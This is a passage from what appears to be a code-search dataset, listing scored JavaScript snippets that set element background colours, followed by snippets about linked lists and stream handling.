processBackgroundColor(element,valueNew){return TcHmi.System.Services.styleManager.processBackground(element,{color:valueNew})}", "title": "" }, { "docid": "c7328355155faac29829f6368ea7074c", "score": "0.5637931", "text": "setBackground(id = -1) {\n if (this.database.setBackground === \"\" && id >= this.database.colors) {\n return;\n }\n\n if (id < 0) {\n this.resetBackground();\n } else {\n this.write(Database.format(this.database.setBackground, id));\n }\n }", "title": "" }, { "docid": "993150952b649ea5d026ed147d4758c1", "score": "0.56323844", "text": "get backgroundColor() {\n return this.p_backgroundColor\n }", "title": "" }, { "docid": "5c8f42a253c8fd45971f36ef9b11893f", "score": "0.56298006", "text": "get fabBackgroundColor() {\n return brushToString(this.i.sj);\n }", "title": "" }, { "docid": "7759b67ed0e84700c18ec06300d41dc7", "score": "0.5629095", "text": "function bg() {\n document.getElementById('background').style.background = getRandomColor();\n }", "title": "" }, { "docid": "8e273bc6c5937831237ac37d07f3e43c", "score": "0.5625898", "text": "handleChangeBackgroundColor(backgroundColor) {\n this.setState({\n backgroundColor: backgroundColor,\n });\n }", "title": "" }, { "docid": "612388a8e6c676b980c43a4be9a57b9a", "score": "0.5620541", "text": "function backgroundButton() {\n document.getElementById(\"background\").style.backgroundColor = 'powderblue'\n}", "title": "" }, { "docid": "136224e1c4e520cb689078a0891b8c58", "score": "0.56071323", "text": "function backgroundColor() {\n // Generate random numbers for red, green, and blue\n // Then add them together\n var red = Math.floor(Math.random() * 255);\n var green = Math.floor(Math.random() * 255);\n var blue = Math.floor(Math.random() * 255);\n var mixColor = \"rgb(\" + red + \",\" + green + \", \" + blue + \")\";\n return mixColor;\n}", "title": "" }, { "docid": "f440bc965326f0b7ca9b9390a3a00f02", "score": "0.559848", "text": "function setBackgroundColor(color, container) { \n container.style.backgroundColor = color\n}", "title": "" }, { "docid": "7643b86ab9f9e9a2cda7fc20b2823c54", "score": "0.5567411", "text": "function updateBackground (){\n\t\n\tbg.style.backgroundColor = pickedColor;\t\n}", "title": "" }, { "docid": "61bde7e3dbc503b53562188db01c9d36", "score": "0.5561534", "text": "get backgroundColor() {\n return brushToString(this.i.nk);\n }", "title": "" }, { "docid": "d6d26a9e76d390d945ba5a8c292d01fd", "score": "0.5559678", "text": "function change_background(element) {\n element.style.backgroundColor = \"LightGray\"; \n}", "title": "" }, { "docid": "857dd78638116f1f3a6537ec9fc0b8ba", "score": "0.5558615", "text": "function changeBackgroundColor(){\n colorHue = map(currentVol, 0, 1, 0, 360);\n bcolor = color(colorHue, 50, 100);\n backgroundColor = bcolor;\n}", "title": "" }, { "docid": "d01255002c7aec443d10b4234798fb0f", "score": "0.55547726", "text": "function navBackground(item) {\n item.style.backgroundColor = '#BFBFBF';\n item.style.color = '#404040';\n}", "title": "" }, { "docid": "79af14ee55e0f5605fa859fd9269e7ce", "score": "0.5549997", "text": "function bgColor(color) {\n document.getElementById('body').style.backgroundColor = color;\n document.getElementById('button-area').style.backgroundColor = color;\n document.getElementById('current-color').innerText = color;\n }", "title": "" }, { "docid": "1e6ef3de82c7aa4f8c9ac7d9395442ae", "score": "0.55463666", "text": "function kleur() {\n document.querySelector(\"body\").style.backgroundColor = document.querySelector(\"#textveld\").value;\n}", "title": "" }, { "docid": "ef9c0366591c9b4013ef5a04330fb638", "score": "0.55423224", "text": "function mtchcrrtcolor(a)\n{\n\tfor (var i=0 ; i<squares.length; i++)\n\t{\n\t\t// change all squares to correct color\n\t\tsquares[i].style.backgroundColor=a;\n\t}\n}", "title": "" }, { "docid": "3f86283bdf013b82bc322c6dd86760c2", "score": "0.5541707", "text": "background(bgcolor) {\n if (arguments.length === 0) return this._bgcolor;\n this._bgcolor = bgcolor;\n return this;\n }", "title": "" }, { "docid": "45c9eed6cbe902958a71ba7c80e7a796", "score": "0.5539605", "text": "function makeBoxBlue(){\n document.getElementById('output_box').style.backgroundColor='#007bff';\n}", "title": "" }, { "docid": "7d51db082ffb4fd48d9730546ce0d552", "score": "0.5533332", "text": "function colorTrabajo() {\n document.getElementById(\"cabecera\").innerHTML = \"Trabajo\";\n document.getElementById(\"pomodoro-app\").style.backgroundColor=\"aqua\";\n document.getElementById(\"contenedor\").style.backgroundColor=\"rgb(11, 7, 238)\";\n document.getElementById(\"tiempo\").style.color=\"aqua\";\n document.getElementById(\"cabecera\").style.color=\"aqua\";\n document.getElementById(\"horaterminar\").style.color=\"aqua\";\n console.log(\"colotT\");\n \n}", "title": "" }, { "docid": "bb661007060773d825952f9580cdc170", "score": "0.55303305", "text": "function setBackground(thisobj, color){ \n\tthisobj.style.background = color; \n}", "title": "" }, { "docid": "bb902c28da33dab85fac38474c22cfe1", "score": "0.5526912", "text": "function changeBackgroundColor(card, color) {\n card.style.backgroundColor = color;\n}", "title": "" }, { "docid": "dccaa69b2e9679407a343c466a300f97", "score": "0.55010945", "text": "background(bgcolor) {\n if (arguments.length && this._svg) {\n this._svg.style.setProperty('background-color', bgcolor);\n }\n\n return base.background.apply(this, arguments);\n }", "title": "" }, { "docid": "b685b65be0184c7e818b78ee9df83a5f", "score": "0.5498911", "text": "function changeBackground() {\n return `rgb(${randomRGB()}, ${randomRGB()}, ${randomRGB()} )`;\n}", "title": "" }, { "docid": "e9b10da6ee2b8dada4d4412aad2890b0", "score": "0.5496123", "text": "updateBackgroundColor() {\n this.backgroundColor = Datas.Systems.getColor(this.isBackgroundColor ?\n this.backgroundColorID.getValue() : 1);\n }", "title": "" }, { "docid": "05f8401234f733aaa074da643686dc5e", "score": "0.54959065", "text": "function colorize() {\n this.style.backgroundColor = makeRandomColor();\n this.style.color = makeRandomColor();\n}", "title": "" }, { "docid": "7622646f2a29c3dd6bc4b6767dc30b36", "score": "0.54949975", "text": "function changeBgColor() {\n bg_color = btn_bg_color.value;\n canvas.setAttribute('style', 'background-color: '+bg_color+';');\n }", "title": "" }, { "docid": "0be283193816ac1c8ba25d1c9ac0411f", "score": "0.54934436", "text": "function c_over(x)\n{\n\tif (x.style.backgroundColor == \"rgb(85, 142, 213)\")\n\t\tx.style.backgroundColor = \"rgb(229, 229, 229)\";\n}", "title": "" }, { "docid": "847ebd4a6d6bd14c6599d40f946ae6c7", "score": "0.54877114", "text": "function colorize() {\nvar element = document.getElementById(\"clickMe\");\nelement.style.backgroundColor='purple';\nelement.style.backgroundColor='white';\nelement.style.textAlign='center';\n\nvar background = document.getElementById(\"purple\");\nbackground.style.backgroundColor='purple';\n\n}", "title": "" }, { "docid": "d36463cd738cabddb54e71c822df4e27", "score": "0.5473707", "text": "function FuocoCampoCap() {\r\n var campo=document.getElementById(\"cap\");\r\n campo.style.color =\"black\";\r\n campo.style.background =\"#FAF176\";\r\n campo.style.border=\"1px dotted grey\";\r\n return;\r\n}", "title": "" }, { "docid": "525c7361ef16a24a008b45bdbecaa2f4", "score": "0.5469971", "text": "function background () {\n\tcontext.fillStyle = \"#\" + bgColor;\n\tcontext.globalAlpha = 1;\n\tcontext.fillRect(0,0,canvas.width,canvas.height); //taille colonnes : 180 +2+ 192 +2+ 192 +2+ 180\n\tcontext.fillStyle = \"#\" + lineColor;\n\tcontext.globalAlpha = 0.5;\n\tfor (var i = 0; i < largeur; i++) {\n\t\tcontext.fillRect(columnSize + (i*columnSize), 200, 2, 1300);\n\t}\n\tcontext.globalAlpha = 1;\n}", "title": "" }, { "docid": "0af75f67b66ce973a49e08bd86ecebb0", "score": "0.5468917", "text": "function red_bg() {\n var r=255,g=0,b=0;\n bgcolor = color(r,g,b);\n}", "title": "" }, { "docid": "78f0978559d0eba1d94a5685c6d71a00", "score": "0.5459399", "text": "function gradeColor (gradeValue, gradeBackground) {\n var grade = document.getElementById(gradeValue).innerHTML;\n var gradeText = document.getElementById(gradeValue);\n var gradeBackground = document.getElementById(gradeBackground);\n\n if (gradeBackground === null) {\n gradeBackground = document.getElementsByClassName(gradeBackground)[0];\n }\n\n var colors = {\n \"A+\": {\n background: \"#00c853\",\n text: \"#004e20\"\n },\n \"A-\": {\n backgroundColor: \"#57d154\",\n text:\"#245423\"\n }, \n \"A\": {\n background: \"#36c246\",\n text: \"#195920\"\n },\n \"B+\": {\n background: \"#8bc34a\",\n text: \"#3d5620\"\n },\n \"B-\": {\n background: \"#a0cb6e\",\n text: \"#40502d\"\n },\n \"B\": {\n background: \"#9ccc65\",\n text: \"#32451d\"\n },\n \"C+\": {\n background: \"#cddc39\",\n text: \"#5a611a\"\n },\n \"C-\": {\n background: \"#fbc02d\",\n text: \"#544112\"\n },\n \"C\": {\n background: \"#d4e157\",\n text: \"#5d6325\"\n },\n \"D+\": {\n background: \"#ffa726\",\n text: \"#67430f\"\n },\n \"D-\": {\n background:\"#e65100\",\n text: \"#592001\"\n },\n \"D\": {\n background: \"#f57c00\",\n text:\"#623200\"\n },\n \"F\": {\n background: \"#f44336\",\n text: \"#7e231d\"\n },\n default: {\n background: \"#edf4ff\",\n text: \"#003375\"\n }\n };\n\n grade = grade.match(/([A-F]{1}[+\\-]?)/);\n grade = grade ? grade[0] : \"default\";\n\n gradeBackground.style.backgroundColor = colors[grade].background;\n gradeText.style.color = colors[grade].text;\n \n }", "title": "" }, { "docid": "6fe3bf9e46433f3b933f720f4694ca7a", "score": "0.54549766", "text": "function myBgColor() {\r\n for (let x = 0; x < myParent.childElementCount; x++) {\r\n myParent.children[x].style.backgroundColor = bgColor[x];\r\n myParent.children[x].textContent = x + 1;\r\n\r\n if (x > bgColor.length - 1) {\r\n myParent.children[x].style.backgroundColor = bgColor[x - 10];\r\n }\r\n }\r\n}", "title": "" }, { "docid": "509f23bdd401d21a14eb89d38a285a04", "score": "0.5451841", "text": "function changeColors(color){\n //loop through all the squares and change color to match given color\n for(var i=0;i<squares.length;i++){\n squares[i].style.backgroundColor=color;\n }\n heading.style.backgroundColor=color;\n}", "title": "" }, { "docid": "1839c8cd57fc75314e2bf3caa0dae664", "score": "0.5447976", "text": "function ChangeColors(color) {\r\n for(var i = 0; i < squares.length; i++){\r\n squares[i].style.backgroundColor = color;\r\n }\r\n // Change the header color to match as well\r\n titleHeader.style.backgroundColor = color;\r\n}", "title": "" }, { "docid": "7de7ce781a1b31bacc33d000bff9e953", "score": "0.54441714", "text": "function background () {\n document.body.style.backgroundColor = '#0d1426'\n}", "title": "" }, { "docid": "4b217325fab440a9bb2f1a8d1d9ba53e", "score": "0.54411757", "text": "function changeBg(obj, color) {\n\tobj.style.background = color;\n}", "title": "" }, { "docid": "184adfbf1dac26253829cfb577a3b7af", "score": "0.543527", "text": "function Board_ColorSquare(sq,winTxt, minWin, maxLose){\n document.getElementById(this.boardid+\"_\"+sq).style.background = getColor(winTxt,minWin,maxLose);\n}", "title": "" }, { "docid": "362533119cb2066fed355d57ffe046c2", "score": "0.54270846", "text": "function VwdCmsSplitterBar_SetBackgroundColor(value)\n{\n this.backgroundColor = value;\n this.splitterBar.style.backgroundColor = value;\n}", "title": "" }, { "docid": "87108298e172443420c434bca0820a98", "score": "0.542137", "text": "function changeBackground(elem)\n{\n\telem.style.transitionDelay = \".05s\";\n\telem.style.transitionDuration = \".2s\";\n\telem.style.backgroundColor = \"white\";\n\t\n\telem.style.color = \"black\";\t\n}", "title": "" }, { "docid": "ea8ae212af5248b244aa115955551cef", "score": "0.541602", "text": "function drawBackground() {\n background(bg);\n}", "title": "" }, { "docid": "429bfc6fd35913a86a090d398b846e16", "score": "0.5413702", "text": "function colorize(){\n this.style.backgroundColor = makeRandColor();\n this.style.color = makeRandColor();\n console.log(this)\n}", "title": "" }, { "docid": "7bdaa6262c511c83315df5b2c680be69", "score": "0.54074454", "text": "function blackWhite() {\n bodCont.style.backgroundColor = \"black\";\n bodCont.style.color = \"white\";\n}", "title": "" }, { "docid": "9497b3488a83a935d48df2ef10e67e11", "score": "0.54068124", "text": "function setBackgroundColor_(signal,ranges,colors,el)\r\n{\r\n\tfor(var i=0; i<ranges.length;i++)\r\n\t{\r\n\t\tif(parseFloat(signals[signal])<=parseFloat(ranges[i]))\r\n\t\t{\r\n\t\t\tel.style.backgroundColor=colors[i];\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "18b47fba65f3fa27aee49313ab15e1b6", "score": "0.54059917", "text": "function makeK() {\n var background = `-webkit-linear-gradient(${Gradient.left.value},${Gradient.right.value})`;\n var webOne = '-webkit-background-clip';\n Gradient.k.style.background = background;\n Gradient.k.style[webOne] = 'text';\n}", "title": "" }, { "docid": "41dfbfcf111e10f3d2db348ae672c359", "score": "0.5395833", "text": "function surligne(champ, erreur)\n{\n if(erreur)\n champ.style.backgroundColor = \"#fba\";\n else\n champ.style.backgroundColor = \"\";\n}", "title": "" }, { "docid": "b921193d6c3dbee3c3bc00be963e61b1", "score": "0.53946155", "text": "withBackgroundAlpha(alpha) {\r\n // Clamp alpha between 0 and 1\r\n alpha = Math.max(0, alpha);\r\n alpha = Math.min(1, alpha);\r\n const newBgColor = new vscode.Color(this.backgroundColor.red, this.backgroundColor.green, this.backgroundColor.blue, alpha);\r\n return new DecoratorColor(newBgColor, this.textColor);\r\n }", "title": "" }, { "docid": "fcfdfa3a3fb89ef07b3855055d749476", "score": "0.5386428", "text": "function changeColors(color){\n squares.forEach(x=>{\n x.style.background =color;\n });\n h.style.background =color;\n }", "title": "" }, { "docid": "13f64dc52dbc3b4c61fdef526b0381f9", "score": "0.53835934", "text": "function chBackcolor (color) {\n document.body.style.background = '#142638'\n document.body.style.color = '#ffffff'\n}", "title": "" }, { "docid": "8c90c9a9b276542a40ac1a224088e1d5", "score": "0.5368668", "text": "function displayColor(color)\n{\n\tfor(var i=0;i<squares.length;i++)\n\t{\n \t\tsquares[i].style.background=color;\n\t}\n}", "title": "" }, { "docid": "0a42642a29ec2c91f4a1db963ceab744", "score": "0.53591025", "text": "function hexColor() {\n var hexCode = \"#\" + letters[arrPosition()] + letters[arrPosition()] + letters[arrPosition()] + letters[arrPosition()] + letters[arrPosition()] + letters[arrPosition()];\n\n body.style.backgroundColor = hexCode;\n span.textContent = hexCode;\n}", "title": "" }, { "docid": "3b35b7cbefcc3add2304d486e02fcbd8", "score": "0.5355451", "text": "function changeBackground () {\n let col = `rgb(${Math.floor(Math.random()* 255)}, ${Math.floor(Math.random()* 255)}, ${Math.floor(Math.random()* 255)})`;\n for (let i = 0; i < quotes.length; i ++) {\n document.body.style.backgroundColor = col;\n }\n}", "title": "" }, { "docid": "e28397d287a01053187187bcd92fc557", "score": "0.5353073", "text": "function sport_over(x)\n{\n\tx.style.backgroundColor = \"#FFFFFF\";\n\tx.style.color = \"#000000\";\n}", "title": "" }, { "docid": "ff78f90d2a263ef6990e21360597aa87", "score": "0.53518444", "text": "function changecolor(color){\r\n for(var i=0; i<squares.length; i++){\r\n squares[i].style.backgroundColor = color;\r\n }\r\n h1.style.backgroundColor = color;\r\n}", "title": "" }, { "docid": "fe751718bc22a4a08cc5e28a9e7d0768", "score": "0.5351354", "text": "function getColor(sec) {\n return sec == 1 ? '#00396a' :\n sec == 2 ? '#000000' :\n sec == 3 ? '#572642' :\n sec == 4 ? '#ce7019' :\n sec == 5 ? '#b30838' :\n 'transparent';\n }", "title": "" }, { "docid": "b15d9d195a8f3e79a3b02bcd6dcf1b27", "score": "0.5346976", "text": "function changeBackgroundColor () {\n var css = '.changeableBackground { background-color: ' + getRandomColor() + '}';\n document.getElementById('backgroundColor').innerHTML = css;\n}", "title": "" }, { "docid": "88a4bae1771b7ccdbb6d1aaca59596e0", "score": "0.5341387", "text": "setBackGround(coloor) {\n this.button.style.background = coloor;\n this.button.style.opacity = 0.5;\n }", "title": "" }, { "docid": "88a4bae1771b7ccdbb6d1aaca59596e0", "score": "0.5341387", "text": "setBackGround(coloor) {\n this.button.style.background = coloor;\n this.button.style.opacity = 0.5;\n }", "title": "" } ]
404f0bd10b1cf51f6d6b16a35bc9f11f
It seems a linked list but it is not there will be only 2 of these for each stream
[ { "docid": "9fac5f5b1ad82b05f14cecdb458549f0", "score": "0.0", "text": "function CorkedRequest(state) {\n var _this = this;\n\n this.next = null;\n this.entry = null;\n this.finish = function () {\n onCorkedFinish(_this, state);\n };\n}", "title": "" } ]
[ { "docid": "a493a676eeedf58ae92bd8aac71d1d40", "score": "0.59427845", "text": "printList() {\n //1. creo un puntero auxiliar y lo apunto a head de la lista\n let aux = this.head;\n //2.la recorro con un while: condición: recórrela hasta que llegues al final (es decir, hasta que next apunte a null)\n //3. AVANCE: le digo que el puntero auxiliar es = aux.next\n while (aux !== null) {\n console.log(aux.value);\n aux = aux.next;\n }\n }", "title": "" }, { "docid": "4bbdbc734d3653250c1e3084d002f415", "score": "0.5916494", "text": "*[Symbol.iterator]() {\n let current = this.head.next;\n while (current !== this.tail) {\n // Guards against corruption of the iterator state by mutations to the tail of the list during\n // iteration.\n OpList.assertIsOwned(current, this.debugListId);\n const next = current.next;\n yield current;\n current = next;\n }\n }", "title": "" }, { "docid": "0643487937e63711ea5d3b37383e76df", "score": "0.5886847", "text": "*[Symbol.iterator]() {\n let node = this.head;\n while (node) {\n //for every step along linked list, yield node\n yield node;\n node = node.next;\n }\n }", "title": "" }, { "docid": "25caafa54521de920cc571faf0d7b003", "score": "0.5870978", "text": "function printList2(list) {\n let tmp = list;\n\n while (tmp) {\n console.log(tmp.value);\n tmp = tmp.next;\n }\n}", "title": "" }, { "docid": "9ed81df84f712ef0e3fe1060b928b75b", "score": "0.58521014", "text": "static print_list(list) {\n let temp = list.head;\n while (temp) {\n process.stdout.write(temp.data + \"->\");\n temp = temp.next;\n }\n console.log(\"null\");\n }", "title": "" }, { "docid": "1e883ecc56fbed96f19492fcecc4defc", "score": "0.58325446", "text": "function listStream() {\n return through.obj(function (item, encoding, cb) {\n this.push(formatLine(item));\n cb();\n });\n}", "title": "" }, { "docid": "0e73c7b321b3cfbe67d42faa78ffe6dc", "score": "0.57800096", "text": "function SLL(){\n this.head=null;\n}", "title": "" }, { "docid": "309e9d7155cac735e9a680822a56fe2a", "score": "0.5774385", "text": "printList(){\n current=this.head;\n while (current) {\n console.log(current.data);\n current=current.next\n \n }\n }", "title": "" }, { "docid": "261d747b8f6c50eb83deccfb2466c4f5", "score": "0.57716835", "text": "deDupNoBuffer() {\n let currentNode = this.head;\n\n while (currentNode.next) {\n if (this.head.data === currentNode.next.data) {\n currentNode.next = currentNode.next.next\n } else {\n currentNode = currentNode.next;\n }\n }\n\n if (this.head.next){\n deDupNoBuffer(this.head.next);\n }\n\n return head;\n }", "title": "" }, { "docid": "4f0a9d9653b447f1316c27f1cf1a41c0", "score": "0.57175237", "text": "constructor() {\n this.head = null // as the pointer references\n this.length = 0// for keep track our linkedlist to track value position, easire looping through\n }", "title": "" }, { "docid": "18043f716d507328defba817d38b291c", "score": "0.57032007", "text": "function add_streams(s1, s2) {\r\n return pair( head(s1) + head(s2), function() {\r\n return add_streams( stream_tail(s1), stream_tail(s2));\r\n });\r\n}", "title": "" }, { "docid": "c9fb04a0c3fd99e86bc45588e8798315", "score": "0.56912273", "text": "function LinkedList (){\r\n\tthis.first = new ListElement(null);\r\n\tthis.last = new ListElement(null);\r\n\t\r\n\tthis.last.prev = this.first;\r\n\tthis.first.next = this.last;\r\n\tthis.last.isLast = true;\r\n\tthis.first.isFirst = true;\r\n}", "title": "" }, { "docid": "43f4e6d48c3416cbaf585ce296137dc9", "score": "0.5672365", "text": "plrintEle()\n {\n let current = this.head\n \n if (this.head === null)\n {\n console.log(\"list empty\")\n }\n else{\n while(current)\n {\n \n console.log(current.data)\n current = current.next\n }\n }\n \n }", "title": "" }, { "docid": "a15bb9f95d9542c6b127a1aa34869268", "score": "0.5670095", "text": "function printList(node){\n let current = node;// to store the value present inside the current.next\n while(current!= null){\n console.log(current.data);\n current = current.next;//increment\n }\n}", "title": "" }, { "docid": "ed03fbeb6122118967f8a322a943267b", "score": "0.5662837", "text": "function case4(){\n\tfunction next(node) {\n\t\treturn node.next;\n\t}\n\treturn next(next(next(list))).data;\n}", "title": "" }, { "docid": "a53f6c21d7377fe8ddbd4e073551bc62", "score": "0.5631148", "text": "function LinkedList() {\n this._first = null;\n this._last = null;\n this._size = 0;\n }", "title": "" }, { "docid": "1f0c42765a38b5fb478bb9f3c5da48b6", "score": "0.5623105", "text": "print_list() {\n if (this.count == 0) {\n console.log(\"empty List.\");\n return;\n }\n\n let ptr = this.head;\n process.stdout.write(ptr.data + \" -> \");\n while (ptr.next != this.head) {\n ptr = ptr.next;\n process.stdout.write(ptr.data + \" -> \");\n }\n }", "title": "" }, { "docid": "f9486a376602778e21e591027cd3c106", "score": "0.5621936", "text": "function SinglyLinkedList() {\n this.head = null;\n this.count = 0;\n}", "title": "" }, { "docid": "d3a2376ff4befa5a09b681943a013e5d", "score": "0.5611996", "text": "function StreamLikeSequence() {}", "title": "" }, { "docid": "d97b05c834af0b3534288baec98e51af", "score": "0.56057507", "text": "function LinkedList() {\n this._first = null;\n this._last = null;\n this._size = 0;\n }", "title": "" }, { "docid": "952c5630e69c37ec7d3b58f8f9e28008", "score": "0.5599826", "text": "function buildStreamList(live) {\n // console.time(\"Build stream list\");\n\n $streamlist.append(template({\n streams: live\n }));\n\n // console.timeEnd(\"Build stream list\");\n }", "title": "" }, { "docid": "3d294ca7387c54e769afc83e350eaf55", "score": "0.5597774", "text": "function LinkedList() {}", "title": "" }, { "docid": "bbeb529232a18cbd6e6ff4a4277368ea", "score": "0.55967796", "text": "function display(list) {\n let current = list.head\n\n while(current !== null) {\n console.log(current.value)\n current = current.next\n }\n}", "title": "" }, { "docid": "8c0b53cdc9faaa09b7d565e25309dc47", "score": "0.5587585", "text": "constructor() { \n this.#head = null\n this.#tail = null\n this.#count = 0 \n \n }", "title": "" }, { "docid": "0e3c0c1f931c1ea98a654a079aeb963b", "score": "0.558126", "text": "classifyStream (stream) {\n\t\tif (stream.teamId === this.team.id) {\n\t\t\tif (stream.type === 'channel') {\n\t\t\t\tthis.myChannelStreams.push(stream);\n\t\t\t}\n\t\t\telse if (stream.type === 'direct') {\n\t\t\t\tthis.myDirectStreams.push(stream);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tthis.myFileStreams.push(stream);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (stream.type === 'channel') {\n\t\t\t\tthis.foreignChannelStreams.push(stream);\n\t\t\t}\n\t\t\telse if (stream.type === 'direct') {\n\t\t\t\tthis.foreignDirectStreams.push(stream);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tthis.foreignFileStreams.push(stream);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "05c73319716d1e57183a668586bec87c", "score": "0.557952", "text": "constructor(){ \n this.head= this.tail= null // track is head or tail equals null\n }", "title": "" }, { "docid": "71d1871c4e1c70ed5d151997aa937837", "score": "0.55722815", "text": "constructor(value) {\n\t\tthis.head = {\n\t\t\tvalue: value,\n\t\t\tnext: null,\n\t\t};\n\t\tthis.tail = this.head;\n\t\tthis.length = 1;\n\t\t// console.log(this.tail);\n\t}", "title": "" }, { "docid": "5bbf1fa68889360f931eee2065523802", "score": "0.5571", "text": "[ITERATOR] () {\r\n const next = () => {\r\n const value = this.read()\r\n const done = value === null\r\n return { value, done }\r\n }\r\n return { next }\r\n }", "title": "" }, { "docid": "8e9a183487bce4badb6b71ddd91250d1", "score": "0.5559737", "text": "printList() {\n let current = this.head;\n while (current) {\n console.log(current.val);\n current = current.next;\n }\n }", "title": "" }, { "docid": "5b9a3e0c63bd10bf3d13664797ccce83", "score": "0.55583537", "text": "function WhatDoesThisProgramDo(lst) {\n // set pointer to the current node\n let current = lst.head;\n // loops while the current node is not null\n while (current !== null) {\n // set newNode to current node\n let newNode = current;\n // loops while the next node is not null and checks if we're not at the end of the list\n while (newNode.next !== null) {\n // checks for duplicates and if there are duplicates it will move past and go to the following node.\n if (newNode.next.value === current.value) {\n newNode.next = newNode.next.next;\n } else {\n newNode = newNode.next;\n }\n }\n // move along the list\n current = current.next;\n }\n}", "title": "" }, { "docid": "f0ff6441f415385b86abe2ad26807b05", "score": "0.5534157", "text": "function print(){\n var current = head;\n while(current != null){\n console.log(current.value);\n current = current.next;\n }\n}", "title": "" }, { "docid": "6c4ac9238cd0eae044674b651fdd218b", "score": "0.55285895", "text": "function LinkedList() {\n this.data = null\n this.size = 0\n}", "title": "" }, { "docid": "2b86a44618b4545596012af23c6a4164", "score": "0.55184984", "text": "function _findHlsStreams()\n{\n\tconst unknownStreams = twitchPlayerStreams.value;\n\tif(unknownStreams === undefined || !unknownStreams || !unknownStreams.forEach)\n\t\treturn;\n\n\tunknownStreams.forEach(async (item, index) => {\n\t\tif(!item || !item.stream)\n\t\t\treturn;\n\n\t\tif(item.stream.hlsUrl !== \"\" && !item.stream.forceReload){\n\t\t\treturn;\n\t\t}\n\n\t\tconst changes = await getStreamInfo(item.stream, item.forceReload);\n\n\t\tif(!changes || changes === {}){\n\t\t\tconsole.log(\"No changes.\")\n\t\t\treturn;\n\t\t}\n\n\t\ttwitchPlayerStreams.value[index] = {...item, ...changes};\n\t});\n\t\n}", "title": "" }, { "docid": "695a7ea0574bc8ea2084813730ed60e9", "score": "0.5518315", "text": "toString() {\n let current = this.head;\n while(current !== null){\n current = current.next;\n return current.value.toString();\n }\n }", "title": "" }, { "docid": "9d86dc872cec41522c9f86e92e984491", "score": "0.55168813", "text": "function linkedLists() {\n\tthis.Head=null;\n}", "title": "" }, { "docid": "ab495909db2a2968c744ee2957e3e68f", "score": "0.5507743", "text": "function LinkedList() {\r\n this._first = null;\r\n this._last = null;\r\n this._size = 0;\r\n }", "title": "" }, { "docid": "7dc43d52e1e2b143201d7ab487da7617", "score": "0.5505978", "text": "function case1() {\n\tnode = list;\n\treturn node.next.next.next.data;\n}", "title": "" }, { "docid": "6d60a66d32a206da6ae3ae3270ce6dac", "score": "0.5504598", "text": "read() {\n var runner = this.head; // runner is a node\n while (runner){ // while runner is not null \n console.log(runner.data)\n runner = runner.next;\n }\n }", "title": "" }, { "docid": "88097a1b9e715bdd525f8211d067f312", "score": "0.5495227", "text": "printListData() {\n let current = this.head;\n while (current) {\n console.log(current.data);\n current = current.next;\n }\n }", "title": "" }, { "docid": "aaaa48a8a01c08b53e5efe36e738c54b", "score": "0.5476686", "text": "printNext()\r\n {\r\n if(this.isEmpty())\r\n console.log('Cannot print from an empty doubly linked list')\r\n else\r\n {\r\n var curr = this.head\r\n var count = 0\r\n var list = ''\r\n\r\n if(this.isCircular())\r\n list += '[T]'\r\n\r\n while(count != this.size)\r\n {\r\n list += '<-[' + curr.data + ']->'\r\n curr = curr.next\r\n count++\r\n }\r\n\r\n if(this.isCircular())\r\n list += '[H]'\r\n \r\n console.log(list)\r\n } \r\n }", "title": "" }, { "docid": "dffad5918f026af98f6fa44b6d177e51", "score": "0.5474848", "text": "constructor()\n {\n // initialilly head is null\n this.head = null\n this.last = null\n }", "title": "" }, { "docid": "2ea229564075e8c3c5708b330047b415", "score": "0.5474725", "text": "setRelatedStreams() {\n let related = [];\n let streamers = this.state.streamer_details;\n let i = streamers.length > 3 ? 0 :\n streamers.length > 0 ? 4-streamers.length : 4;\n while (i < 4) {\n let stream = streamers[Math.floor(Math.random()* streamers.length)];\n if (related.filter((e) => e.id === stream.id).length < 1) {\n related.push(stream);\n i++;\n }\n }\n\n this.setState({related_streams: related});\n }", "title": "" }, { "docid": "28463a0ce47d7179ad3769d5c4405251", "score": "0.54704916", "text": "display() {\n let str = \"\";\n let n = this.head;\n while (n.next != null) {\n str += n.data + \" \";\n n = n.next;\n }\n str += n.data + \" \";\n console.log(`Items in linked list: ${str}`);\n }", "title": "" }, { "docid": "62f55f0cead3af2c02d80ca177095880", "score": "0.54665345", "text": "function SinglyList()\n{\n this.length = 0;\n this.head = null;\n}", "title": "" }, { "docid": "00e195de3b5888031b9e793aa0ff3c82", "score": "0.5461424", "text": "get(index){\n if(index < 0 || index >= this.length) return undefined;\n let count = 0;\n let current = this.head;\n while(index != count){\n current = current.next;\n count++; \n }\n console.log(current);\n }", "title": "" }, { "docid": "71b016f6df846dc29add7143f49d22c9", "score": "0.5459159", "text": "constructor() {\n this._head = null;\n this._tail = null;\n this._size = 0;\n }", "title": "" }, { "docid": "6822a9e1265b39182c77342b28e40ffa", "score": "0.5456466", "text": "function next(list) {\n if (list._idleNext == list) return null;\n return list._idleNext;\n }", "title": "" }, { "docid": "3cf5253c61debf20cd18248493be2df1", "score": "0.54564553", "text": "printList() {\n let curr = this.head;\n while (curr.next !== null) {\n let num = curr.getData();\n console.log(num);\n curr = curr.next;\n }\n console.log(curr.data);\n }", "title": "" }, { "docid": "459665cc4b917015b93329699d016700", "score": "0.54549766", "text": "serve () {\n\n const elect = this.head;\n\n if (!elect) {\n return elect;\n }\n\n this.head = elect.next;\n\n return elect;\n\n }", "title": "" }, { "docid": "9c25f349f406f4a57a9e1b528c7a4a54", "score": "0.54539853", "text": "printList() {\n let act = this.actNode;\n let out = [];\n while (true) {\n out.push(act.value);\n act = act.next;\n if (act === this.actNode) {\n break;\n }\n }\n console.log(out);\n }", "title": "" }, { "docid": "eb3657cc67984fd6483343e464dbbde5", "score": "0.5451007", "text": "display() {\n var head = this.head;\n while (head != null) {\n console.log(head.value);\n head = head.next;\n }\n}", "title": "" }, { "docid": "6989e329ce573c8d1a2ff6fb13942f2f", "score": "0.54442966", "text": "function LinkedList() {\n var head = null;\n var count = 0;\n\n this.getCount = function() {\n return count;\n }\n /**\n * AddFirst function add elements at the first position\n */\n this.AddFirst = function(val) {\n var node = {\n data: val,\n next: head\n };\n head = node;\n\n count++;\n }\n /**\n * display function show all the elements\n */\n this.DisplayAll = function() {\n if (head == null)\n console.log(\"empty list\")\n else {\n var current = head;\n var x = [];\n for (var i = 0; i < count; i++) {\n x[i] = current.data;\n current = current.next;\n }\n }\n 